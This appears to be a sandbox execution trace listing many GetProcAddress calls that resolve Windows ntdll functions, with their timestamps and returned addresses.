GetProcAddress (hModule=0x77e30000, lpProcName="LdrpResGetMappingSize") returned 0x77e6c9fc [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="LdrRscIsTypeExist") returned 0x77e736dd [0098.142] GetProcAddress (hModule=0x77e30000, lpProcName="LdrFindResource_U") returned 0x77e71f2d [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="_strcmpi") returned 0x77e6c7b9 [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="strncat_s") returned 0x77f08715 [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="strchr") returned 0x77e69c70 [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitAnsiStringEx") returned 0x77e5f79b [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateUnicodeString") returned 0x77e8bdee [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUpcaseUnicodeChar") returned 0x77e5e819 [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="wcstoul") returned 0x77f05816 [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="LdrGetFileNameFromLoadAsDataTable") returned 0x77edd596 [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="wcsrchr") returned 0x77e67ee9 [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryVirtualMemory") returned 0x77e4fbc8 [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCultureNameToLCID") returned 0x77e8a503 [0098.143] GetProcAddress (hModule=0x77e30000, lpProcName="LdrResFindResourceDirectory") returned 0x77e6da15 [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="LdrResFindResource") returned 0x77e7e29c [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="LdrFindResourceEx_U") returned 0x77e8b5d5 [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="LdrpResGetResourceDirectory") returned 0x77e6cbb8 [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77e5f546 [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="LdrResGetRCConfig") returned 0x77e77c5f [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="RtlVerifyVersionInfo") returned 0x77ea92fa [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetProductInfo") returned 0x77e7b014 [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLcidToLocaleName") returned 0x77e7f816 [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetUILanguageInfo") returned 0x77eeb696 [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateMailslotFile") returned 0x77e50774 [0098.144] GetProcAddress (hModule=0x77e30000, lpProcName="RtlExtendedLargeIntegerDivide") returned 0x77e72554 [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="_stricmp") returned 0x77e6c7b9 [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCleanUpTEBLangLists") returned 0x77e8d5fa [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImageNtHeader") returned 0x77e63164 [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetThreadPoolStartFunc") returned 0x77e81bf7 [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="LdrSetDllManifestProber") returned 0x77e815f6 [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetUserCallbackExceptionFilter") returned 0x77e822f4 [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetUnhandledExceptionFilter") returned 0x77e80b8a [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEncodePointer") returned 0x77e70fcb [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetNativeSystemInformation") returned 0x77e520ac [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAcquireSRWLockExclusive") returned 0x77e629f1 [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="RtlReleaseSRWLockExclusive") returned 0x77e629ab [0098.145] GetProcAddress (hModule=0x77e30000, lpProcName="LdrQueryImageFileExecutionOptions") returned 0x77e7c132 [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="_aulldiv") returned 0x77e8b140 [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetUserValueHeap") returned 0x77e8cff2 [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlReAllocateHeap") returned 0x77e71f6e [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAllocateHandle") returned 0x77e68200 [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeHandle") returned 0x77e68242 [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeregisterSecureMemoryCacheCallback") returned 0x77ef2ddb [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRegisterSecureMemoryCacheCallback") returned 0x77ef2d5d [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCompactHeap") returned 0x77e7cb4d [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSizeHeap") returned 0x77e63002 [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetUserInfoHeap") returned 0x77e97c71 [0098.146] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLockHeap") returned 0x77e6814c [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIsValidHandle") returned 0x77e681cb [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnlockHeap") returned 0x77e680ee [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="NtQuerySystemInformation") returned 0x77e4fda0 [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitString") returned 0x77e5e198 [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetSystemEnvironmentValueEx") returned 0x77e51bbc [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGUIDFromString") returned 0x77e7b755 [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="NtQuerySystemEnvironmentValueEx") returned 0x77e51578 [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="swprintf_s") returned 0x77e9290f [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="_alldiv") returned 0x77ea8d00 [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="NtFlushBuffersFile") returned 0x77e4ffac [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetLastNtStatus") returned 0x77ef4c46 [0098.147] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDosPathNameToNtPathName_U_WithStatus") returned 0x77e71660 [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEqualSid") returned 0x77e694b1 [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryInformationAcl") returned 0x77e96965 [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetAce") returned 0x77e8cde6 [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="NtRaiseHardError") returned 0x77e515f4 [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryVolumeInformationFile") returned 0x77e4ff7c [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="LdrAddRefDll") returned 0x77e6ffdd [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateKeyTransacted") returned 0x77e50744 [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDetermineDosPathNameType_U") returned 0x77e6a639 [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="_vsnwprintf") returned 0x77e7ef93 [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnicodeStringToOemString") returned 0x77e9ba27 [0098.148] GetProcAddress (hModule=0x77e30000, lpProcName="RtlWow64EnableFsRedirection") returned 0x77ed7bf3 [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="NtCancelIoFile") returned 0x77e5016c [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="NtCancelSynchronousIoFile") returned 0x77e505c0 [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="NtNotifyChangeDirectoryFile") returned 0x77e50f48 [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="RtlActivateActivationContextUnsafeFast") returned 0x77e521f1 [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeactivateActivationContextUnsafeFast") returned 0x77e52159 [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryDirectoryFile") returned 0x77e4fd88 [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="NtWaitForSingleObject") returned 0x77e4f8ac [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetThreadErrorMode") returned 0x77ea2108 [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetThreadErrorMode") returned 0x77e7a7be [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetLastWin32ErrorAndNtStatusFromNtStatus") returned 0x77e8c74e [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenProcessToken") returned 0x77e510b0 [0098.149] GetProcAddress (hModule=0x77e30000, lpProcName="RtlNtStatusToDosErrorNoTeb") returned 0x77e6622c [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventRegister") returned 0x77e6f6ba [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventWrite") returned 0x77e90c59 [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="EtwEventUnregister") returned 0x77e89241 [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateSection") returned 0x77e4ff94 [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="NtQuerySection") returned 0x77e50040 [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetVersion") returned 0x77e6873a [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryElevationFlags") returned 0x77e7bc78 [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetInformationProcess") returned 0x77e4fb18 [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCharToInteger") returned 0x77eaa1d8 [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="strncpy_s") returned 0x77ea9eaa [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetLongestNtPathLength") returned 0x77e8cdce [0098.150] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEqualString") returned 0x77e91dcc [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeAnsiString") returned 0x77e5e126 [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCopyUnicodeString") returned 0x77e685cb [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDosPathNameToNtPathName_U") returned 0x77e8ce41 [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="NtLockFile") returned 0x77e50e44 [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="NtReadFile") returned 0x77e4f8e0 [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIsTextUnicode") returned 0x77e7a26d [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="NtDeleteValueKey") returned 0x77e50a34 [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="NtEnumerateKey") returned 0x77e4fd3c [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFormatCurrentUserKeyPath") returned 0x77e6b141 [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAppendUnicodeToString") returned 0x77e68626 [0098.151] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAppendUnicodeStringToString") returned 0x77e6855f [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="RtlPrefixUnicodeString") returned 0x77e72799 [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="CsrVerifyRegion") returned 0x77edcc64 [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="NtAllocateVirtualMemory") returned 0x77e4fab0 [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="NtWriteFile") returned 0x77e4f918 [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="NtFreeVirtualMemory") returned 0x77e4fb48 [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="NtUnlockFile") returned 0x77e51ea8 [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="NtEnumerateValueKey") returned 0x77e4fa30 [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="RtlMultiByteToUnicodeSize") returned 0x77eaa0da [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnicodeToMultiByteN") returned 0x77e6692e [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="RtlMultiByteToUnicodeN") returned 0x77e5e545 [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryAtomInAtomTable") returned 0x77e9781c [0098.152] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryInformationAtom") returned 0x77e51344 [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeleteAtomFromAtomTable") returned 0x77e95255 [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="NtDeleteAtom") returned 0x77e50988 [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLookupAtomInAtomTable") returned 0x77e73059 [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="NtFindAtom") returned 0x77e4fa48 [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAddAtomToAtomTable") returned 0x77e950a2 [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="NtAddAtom") returned 0x77e4ff48 [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateAtomTable") returned 0x77e887fe [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDestroyAtomTable") returned 0x77ee51ca [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDosPathNameToRelativeNtPathName_U") returned 0x77e7163a [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="RtlReleaseRelativeName") returned 0x77e6a901 [0098.153] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEqualUnicodeString") returned 0x77e5e7f3 [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIsDosDeviceName_U") returned 0x77e6a942 [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="DbgUiStopDebugging") returned 0x77ecf7c8 [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="DbgUiContinue") returned 0x77ecf7a3 [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="DbgUiWaitStateChange") returned 0x77ecf77c [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="DbgUiConvertStateChangeStructure") returned 0x77ecf8cc [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="NtFlushInstructionCache") returned 0x77e50b54 [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryInformationThread") returned 0x77e4fbf8 [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="DbgUiGetThreadDebugObject") returned 0x77ecf74d [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetInformationDebugObject") returned 0x77e51a00 [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="DbgUiIssueRemoteBreakin") returned 0x77ecf843 [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="DbgUiConnectToDbg") returned 0x77ecf6fb [0098.154] GetProcAddress (hModule=0x77e30000, lpProcName="DbgUiDebugActiveProcess") returned 0x77ecf88a [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="CsrGetProcessId") returned 0x77edcb92 [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenProcess") returned 0x77e4fc10 [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetSystemTime") returned 0x77e51c04 [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="RtlReleasePrivilege") returned 0x77e79c1c [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAcquirePrivilege") returned 0x77e79a6d [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="_allmul") returned 0x77e72760 [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCutoverTimeToSystemTime") returned 0x77ea48b0 [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetSystemInformation") returned 0x77e51bd4 [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="RtlTimeFieldsToTime") returned 0x77e908ca [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="RtlTimeToTimeFields") returned 0x77e90535 [0098.155] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryInformationProcess") returned 0x77e4fac8 [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetCurrentTransaction") returned 0x77e67ff5 [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetCurrentTransaction") returned 0x77e68026 [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="_wcsicmp") returned 0x77e69337 [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="wcsncpy_s") returned 0x77e9e4de [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="wcscat_s") returned 0x77e789aa [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="RtlPrefixString") returned 0x77e9e0b4 [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="wcsstr") returned 0x77e60c87 [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="wcschr") returned 0x77e67f1c [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateUnicodeStringFromAsciiz") returned 0x77e683fc [0098.156] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitAnsiString") returned 0x77e5e1d0 [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77e5e6b5 [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitUnicodeStringEx") returned 0x77e67d73 [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="NlsMbCodePageTag") returned 0x77f30003 [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlxUnicodeStringToAnsiSize") returned 0x77ee623d [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77e66ac8 [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEnterCriticalSection") returned 0x77e522b0 [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLeaveCriticalSection") returned 0x77e52270 [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlNtStatusToDosError") returned 0x77e661ed [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDnsHostNameToComputerName") returned 0x77ee66fb [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeUnicodeString") returned 0x77e5e126 [0098.157] GetProcAddress (hModule=0x77e30000, lpProcName="RtlUnicodeToMultiByteSize") returned 0x77e8c9bc [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="wcscspn") returned 0x77ea9eea [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="wcscpy_s") returned 0x77e686a6 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="memmove") returned 0x77e68f50 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="_memicmp") returned 0x77f04750 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateKey") returned 0x77e4fb30 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetValueKey") returned 0x77e501b4 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="NtFlushKey") returned 0x77e50b70 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitUnicodeString") returned 0x77e5e208 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenKey") returned 0x77e4fa18 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryValueKey") returned 0x77e4fa98 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="NtClose") returned 0x77e4f9d0 [0098.158] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeleteCriticalSection") returned 0x77e645f5 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeCriticalSection") returned 0x77e62c42 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetInformationFile") returned 0x77e4fc28 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetSecurityObject") returned 0x77e51b8c [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="NtSetEaFile") returned 0x77e519b0 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="NtQuerySecurityObject") returned 0x77e51518 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLengthSecurityDescriptor") returned 0x77e95d84 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryEaFile") returned 0x77e51314 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryInformationFile") returned 0x77e4fa00 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenFile") returned 0x77e4fd54 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="memset") returned 0x77e5df20 [0098.159] GetProcAddress (hModule=0x77e30000, lpProcName="_wcsnicmp") returned 0x77e5f63b [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateFile") returned 0x77e500a4 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="NtFsControlFile") returned 0x77e4fde8 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="memcpy") returned 0x77e52340 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetLastWin32Error") returned 0x77e522ef [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAllocateHeap") returned 0x77e5e026 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateAcl") returned 0x77e72d21 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="RtlAddAccessAllowedAce") returned 0x77e72e50 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateSecurityDescriptor") returned 0x77e72c94 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetOwnerSecurityDescriptor") returned 0x77e72e73 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetGroupSecurityDescriptor") returned 0x77e72ec1 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="RtlSetDaclSecurityDescriptor") returned 0x77e72cc2 [0098.160] GetProcAddress (hModule=0x77e30000, lpProcName="RtlFreeHeap") returned 0x77e5df85 [0098.161] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeExceptionChain") returned 0x77e69e6f [0098.161] GetProcAddress (hModule=0x77e30000, lpProcName="TpAllocPool") returned 0x77e8304e [0098.161] GetProcAddress (hModule=0x77e30000, lpProcName="TpSetPoolMinThreads") returned 0x77e9cf79 [0098.161] GetProcAddress (hModule=0x77e30000, lpProcName="TpSetPoolStackInformation") returned 0x77e85f6c [0098.161] GetProcAddress (hModule=0x77e30000, lpProcName="TpQueryPoolStackInformation") returned 0x77f0f216 [0098.161] GetProcAddress (hModule=0x77e30000, lpProcName="TpAllocCleanupGroup") returned 0x77e9853e [0098.161] GetProcAddress (hModule=0x77e30000, lpProcName="TpSimpleTryPost") returned 0x77e9656e [0098.161] GetProcAddress (hModule=0x77e30000, lpProcName="TpAllocWork") returned 0x77e9c5b6 [0098.162] GetProcAddress (hModule=0x77e30000, lpProcName="TpAllocTimer") returned 0x77e89f47 [0098.162] GetProcAddress (hModule=0x77e30000, lpProcName="TpAllocWait") returned 0x77e9c7f8 [0098.162] GetProcAddress (hModule=0x77e30000, lpProcName="TpAllocIoCompletion") returned 0x77e780cc [0098.162] GetProcAddress (hModule=0x77e30000, lpProcName="TpCallbackMayRunLong") returned 0x77e9e162 [0098.162] GetProcAddress (hModule=0x77e30000, lpProcName="RtlQueryEnvironmentVariable") returned 0x77e696ef [0098.162] GetProcAddress (hModule=0x77e30000, lpProcName="NtWriteVirtualMemory") returned 0x77e4fe04 [0098.162] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenDirectoryObject") returned 0x77e500ec [0098.162] GetProcAddress (hModule=0x77e30000, lpProcName="NtQuerySymbolicLinkObject") returned 0x77e51548 [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenSymbolicLinkObject") returned 0x77e51110 [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="wcspbrk") returned 0x77e8b617 [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="NtWow64WriteVirtualMemory64") returned 0x77e5210c [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDestroyProcessParameters") returned 0x77e7bc52 [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCreateProcessParametersEx") returned 0x77e7bd9b [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="NtResumeThread") returned 0x77e50058 [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="DbgPrint") returned 0x77eaa7a0 [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="NtRemoveProcessDebug") returned 0x77e516ec [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="LdrQueryImageFileKeyOption") returned 0x77e92fd2 [0098.163] GetProcAddress (hModule=0x77e30000, lpProcName="NtCreateUserProcess") returned 0x77e5090c [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="RtlGetFullPathName_UstrEx") returned 0x77e6aaf4 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDecodePointer") returned 0x77e69d35 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="RtlKnownExceptionFilter") returned 0x77ea2120 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRaiseException") returned 0x77e76e68 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="NtRequestWaitReplyPort") returned 0x77e4fbb0 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenKeyTransacted") returned 0x77e51020 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="NtQueryKey") returned 0x77e4fa80 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenKeyEx") returned 0x77e51008 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="NtOpenKeyTransactedEx") returned 0x77e51038 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="RtlValidRelativeSecurityDescriptor") returned 0x77ea5793 [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="NtDeleteKey") returned 0x77e509ec [0098.164] GetProcAddress (hModule=0x77e30000, lpProcName="NtLoadKey") returned 0x77e50dfc [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="NtUnloadKey") returned 0x77e51e60 [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="NtNotifyChangeMultipleKeys") returned 0x77e50f78 [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="NtRestoreKey") returned 0x77e517d0 [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="NtSaveKeyEx") returned 0x77e5187c [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLengthSid") returned 0x77e6931b [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="RtlMakeSelfRelativeSD") returned 0x77e954f3 [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="_strnicmp") returned 0x77e8c27c [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="strncmp") returned 0x77e92f65 [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="NtDuplicateToken") returned 0x77e4fec8 [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="RtlTryAcquirePebLock") returned 0x77e94654 [0098.165] GetProcAddress (hModule=0x77e30000, lpProcName="_vsnprintf") returned 0x77ea9d88 [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="NtWaitForMultipleObjects") returned 0x77e50138 [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="RtlReleasePebLock") returned 0x77e67f5e [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="NtClearEvent") returned 0x77e4fe64 [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="RtlWerpReportException") returned 0x77ea3ac6 [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="LdrResSearchResource") returned 0x77e6cd5c [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="NtWow64ReadVirtualMemory64") returned 0x77e520f4 [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="NtWow64QueryInformationProcess64") returned 0x77e520dc [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="RtlCompareMemory") returned 0x77e93b00 [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="WerReportSQMEvent") returned 0x77ed94a1 [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="LdrUnlockLoaderLock") returned 0x77e66c3c [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="LdrLockLoaderLock") returned 0x77e66b95 [0098.166] GetProcAddress (hModule=0x77e30000, lpProcName="NtAccessCheck") returned 0x77e50218 [0098.167] GetProcAddress (hModule=0x77e30000, lpProcName="VerSetConditionMask") returned 0x77ea92b9 [0098.167] GetProcAddress (hModule=0x77e30000, lpProcName="WinSqmIsOptedIn") returned 0x77e89b58 [0098.167] GetProcAddress (hModule=0x77e30000, lpProcName="strcat_s") returned 0x77e9596f [0098.167] GetProcAddress (hModule=0x77e30000, lpProcName="RtlExitUserThread") returned 0x77e8d598 [0098.167] GetProcAddress (hModule=0x77e30000, lpProcName="RtlExitUserProcess") returned 0x77e88de8 [0098.167] GetProcAddress (hModule=0x77e30000, lpProcName="_aullrem") returned 0x77e70a90 [0098.167] 